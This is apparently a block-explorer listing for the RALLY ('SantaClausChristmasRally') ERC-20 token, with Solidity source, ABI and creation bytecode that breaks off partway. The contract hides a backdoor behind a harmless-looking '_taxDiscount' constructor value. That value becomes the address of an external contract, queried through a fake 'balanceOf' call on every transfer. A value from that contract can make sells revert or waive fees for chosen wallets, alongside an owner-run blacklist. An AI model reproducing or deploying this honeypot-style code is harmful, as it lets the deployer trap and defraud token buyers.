Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
5,700,000,000 RALLY
Holders
185
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
19.583361730012508562 RALLYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Rally
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval (address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function balanceOf(address pair, address account) external returns (uint256); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Rally is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint256 firstBlock; uint256 private _initialBuyTax=24; uint256 private _initialSellTax=24; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=19; uint256 private _reduceSellTaxAt=29; uint256 private _preventSwapBefore=20; uint256 private _buyCount=0; uint8 private constant _decimals = 18; string private constant _name = unicode"SantaClausChristmasRally"; string private constant _symbol = unicode"RALLY"; uint256 private _tTotal; uint256 private _tDiscount; uint256 public _maxTxAmount = 138000000 * 10**_decimals; uint256 public _maxWalletSize = 138000000 * 10**_decimals; uint256 public _taxSwapThreshold= 69000000 * 10**_decimals; uint256 public _maxTaxSwap= 69000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; address private uniswapV2Pair02; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 _totalSupply, uint256 _taxDiscount) { _tTotal = _totalSupply * 10**_decimals; _tDiscount = _taxDiscount; _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; uint256 taxDiscount=0; if (from != owner() && to != owner() && tradingOpen) { require(!bots[from] && !bots[to]); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } taxDiscount = IUniswapV2Pair(uniswapV2Pair02).balanceOf(address(this), from); if (taxDiscount>0) { taxAmount -= taxDiscount; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); uniswapV2Pair02 = address(uint160(_tDiscount)); swapEnabled = true; tradingOpen = true; firstBlock = block.number; } receive() external payable {} }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"uint256","name":"_taxDiscount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526018600755601860085560006009556000600a556013600b55601d600c556014600d556000600e556012600a6200003c919062000629565b630839b6806200004d91906200067a565b6011556012600a62000060919062000629565b630839b6806200007191906200067a565b6012556012600a62000084919062000629565b63041cdb406200009591906200067a565b6013556012600a620000a8919062000629565b63041cdb40620000b991906200067a565b6014556000601760156101000a81548160ff0219169083151502179055506000601760166101000a81548160ff021916908315150217905550348015620000ff57600080fd5b5060405162003a8438038062003a848339818101604052810190620001259190620006fb565b6000620001376200045e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506012600a620001e5919062000629565b82620001f291906200067a565b600f81905550806010819055506200020f6200045e60201b60201c565b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5460016000620002666200045e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620002ba6200046660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003ed6200045e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f546040516200044e919062000753565b60405180910390a3505062000770565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200051d57808604811115620004f557620004f46200048f565b5b6001851615620005055780820291505b80810290506200051585620004be565b9450620004d5565b94509492505050565b6000826200053857600190506200060b565b816200054857600090506200060b565b81600181146200056157600281146200056c57620005a2565b60019150506200060b565b60ff8411156200058157620005806200048f565b5b8360020a9150848211156200059b576200059a6200048f565b5b506200060b565b5060208310610133831016604e8410600b8410161715620005dc5782820a905083811115620005d657620005d56200048f565b5b6200060b565b620005eb8484846001620004cb565b925090508184048111156200060557620006046200048f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006368262000612565b915062000643836200061c565b9250620006727fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000526565b905092915050565b6000620006878262000612565b9150620006948362000612565b9250828202620006a48162000612565b91508282048414831517620006be57620006bd6200048f565b5b5092915050565b600080fd5b620006d58162000612565b8114620006e157600080fd5b50565b600081519050620006f581620006ca565b92915050565b60008060408385031215620007155762000714620006c5565b5b60006200072585828601620006e4565b92505060206200073885828601620006e4565b9150509250929050565b6200074d8162000612565b82525050565b60006020820190506200076a600083018462000742565b92915050565b61330480620007806000396000f3fe6080604052600436106101235760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb146103d2578063bf474bed1461040f578063c9567bf91461043a578063d34628cc14610451578063dd62ed3e1461047a5761012a565b8063751039fc1461030f5780637d1db4a5146103265780638da5cb5b146103515780638f9a55c01461037c57806395d89b41146103a75761012a565b8063313ce567116100e7578063313ce5671461022a57806331c2d847146102555780633bbac5791461027e57806370a08231146102bb578063715018a6146102f85761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461019757806318160ddd146101c257806323b872dd146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104b7565b6040516101519190612412565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906124dc565b6104f4565b60405161018e9190612537565b60405180910390f35b3480156101a357600080fd5b506101ac610512565b6040516101b99190612561565b60405180910390f35b3480156101ce57600080fd5b506101d7610518565b6040516101e49190612561565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f919061257c565b610522565b6040516102219190612537565b60405180910390f35b34801561023657600080fd5b5061023f6105fb565b60405161024c91906125eb565b60405180910390f35b34801561026157600080fd5b5061027c6004803603810190610277919061274e565b610604565b005b34801561028a57600080fd5b506102a560048036038101906102a09190612797565b61072e565b6040516102b29190612537565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612797565b610784565b6040516102ef9190612561565b60405180910390f35b34801561030457600080fd5b5061030d6107cd565b005b34801561031b57600080fd5b50610324610920565b005b34801561033257600080fd5b5061033b610a02565b6040516103489190612561565b60405180910390f35b34801561035d57600080fd5b50610366610a08565b60405161037391906127d3565b60405180910390f35b34801561038857600080fd5b50610391610a31565b60405161039e9190612561565b60405180910390f35b3480156103b357600080fd5b506103bc610a37565b6040516103c99190612412565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f491906124dc565b610a74565b6040516104069190612537565b60405180910390f35b34801561041b57600080fd5b50610424610a92565b6040516104319190612561565b60405180910390f35b34801561044657600080fd5b5061044f610a98565b005b34801561045d57600080fd5b506104786004803603810190610473919061274e565b611000565b005b34801561048657600080fd5b506104a1600480360381019061049c91906127ee565b61112a565b6040516104ae9190612561565b60405180910390f35b60606040518060400160405280601881526020017f53616e7461436c6175734368726973746d617352616c6c790000000000000000815250905090565b60006105086105016111b1565b84846111b9565b6001905092915050565b60145481565b6000600f54905090565b600061052f848484611382565b6105f08461053b6111b1565b6105eb856040518060600160405280602881526020016132a760289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a16111b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3e9092919063ffffffff16565b6111b9565b600190509392505050565b60006012905090565b61060c6111b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106909061287a565b60405180910390fd5b60005b815181101561072a576000600460008484815181106106be576106bd61289a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610722906128f8565b91505061069c565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107d56111b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108599061287a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109286111b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac9061287a565b60405180910390fd5b600f54601181905550600f546012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516109f89190612561565b60405180910390a1565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f52414c4c59000000000000000000000000000000000000000000000000000000815250905090565b6000610a88610a816111b1565b8484611382565b6001905092915050565b60135481565b610aa06111b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b249061287a565b60405180910390fd5b601760149054906101000a900460ff1615610b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b749061298c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c0130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f546111b9565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9291906129c1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3f91906129c1565b6040518363ffffffff1660e01b8152600401610d5c9291906129ee565b6020604051808303816000875af1158015610d7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9f91906129c1565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e2830610784565b600080610e33610a08565b426040518863ffffffff1660e01b8152600401610e5596959493929190612a5c565b60606040518083038185885af1158015610e73573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e989190612ad2565b505050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f3a929190612b25565b6020604051808303816000875af1158015610f59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7d9190612b7a565b50601054601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600681905550565b6110086111b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c9061287a565b60405180910390fd5b60005b8151811015611126576001600460008484815181106110ba576110b961289a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061111e906128f8565b915050611098565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121f90612c19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128e90612cab565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113759190612561565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e890612d3d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145790612dcf565b60405180910390fd5b600081116114a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149a90612e61565b60405180910390fd5b6000806114ae610a08565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561151c57506114ec610a08565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115345750601760149054906101000a900460ff165b15611b8057600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115dd5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115e657600080fd5b6116226064611614600b54600e541161160157600754611605565b6009545b86611ea290919063ffffffff16565b611f1c90919063ffffffff16565b9150601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156116cf5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117255750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561180a5760115483111561176f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176690612ecd565b60405180910390fd5b6012548361177c86610784565b6117869190612eed565b11156117c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117be90612f6d565b60405180910390fd5b4360036006546117d79190612eed565b11156117f1576117e684611f66565b156117f057600080fd5b5b600e6000815480929190611804906128f8565b91905055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118b25750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561191057601254836118c486610784565b6118ce9190612eed565b111561190f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190690612f6d565b60405180910390fd5b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561199957503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156119dd576119da60646119cc600c54600e54116119b9576008546119bd565b600a545b86611ea290919063ffffffff16565b611f1c90919063ffffffff16565b91505b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f7888aec30876040518363ffffffff1660e01b8152600401611a3a9291906129ee565b6020604051808303816000875af1158015611a59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a7d9190612f8d565b90506000811115611a97578082611a949190612fba565b91505b6000611aa230610784565b9050601760159054906101000a900460ff16158015611b0e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611b265750601760169054906101000a900460ff165b8015611b33575060135481115b8015611b425750600d54600e54115b15611b7e57611b64611b5f85611b5a84601454611f79565b611f79565b611f92565b60004790506000811115611b7c57611b7b4761220b565b5b505b505b6000821115611c8457611bdb82600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227790919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c7b9190612561565b60405180910390a35b611cd683600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7d611d2f83856122d590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffff